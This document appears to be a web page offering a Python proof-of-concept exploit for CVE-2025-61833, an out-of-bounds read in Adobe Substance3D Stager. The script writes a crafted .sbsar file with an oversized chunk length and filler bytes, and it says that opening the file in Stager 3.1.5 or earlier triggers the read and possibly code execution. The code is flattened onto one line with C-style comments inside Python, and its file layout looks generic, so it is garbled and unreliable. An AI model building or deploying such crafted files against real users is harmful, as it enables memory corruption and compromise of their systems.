CVE-2025-61833 Adobe Substance3D Stager 越界读取漏洞

// CVE-2025-61833 PoC - Adobe Substance3D Stager Out-of-Bounds Read // This PoC demonstrates the vulnerability by creating a crafted file // that triggers an out-of-bounds read when parsed by Substance3D Stager import struct import os def create_crafted_sbsar(): """ Generate a crafted .sbsar file that triggers OOB read in Substance3D Stager The vulnerability exists in the file parsing routine when handling malformed input data structures """ # SBSAR file header structure header = bytearray() # Magic bytes for SBSAR format header += b'SBSAR' # File signature header += struct.pack('<I', 0x00000001) # Version major header += struct.pack('<I', 0x00000001) # Version minor # Crafted chunk that triggers OOB read # Modifying size fields to cause boundary violation chunk_type = b'PROP' # Property chunk type chunk_size = 0xFFFFFFFF # Malformed size causing overflow crafted_data = bytearray() crafted_data += chunk_type crafted_data += struct.pack('<I', chunk_size) # Fill with specific byte patterns to trigger vulnerability # These patterns are designed to exploit the parsing logic payload = b'\x41' * 256 crafted_data += payload # Append additional malformed structures for i in range(10): crafted_data += struct.pack('<I', 0x41414141) # Repeated markers crafted_data += struct.pack('<Q', 0x00000000FFFFFFFF) # Boundary markers # Complete file structure file_data = header + crafted_data return bytes(file_data) def main(): print("[*] CVE-2025-61833 PoC Generator") print("[*] Adobe Substance3D Stager Out-of-Bounds Read") # Generate crafted file poc_file = create_crafted_sbsar() # Save the PoC file output_path = 'CVE-2025-61833_poc.sbsar' with open(output_path, 'wb') as f: f.write(poc_file) print(f"[+] PoC file created: {output_path}") print(f"[+] File size: {len(poc_file)} bytes") print("[+] To trigger: Open this file with Adobe Substance3D Stager <= 3.1.5") print("[+] Expected result: Out-of-bounds memory read / potential code execution") if __name__ == '__main__': main()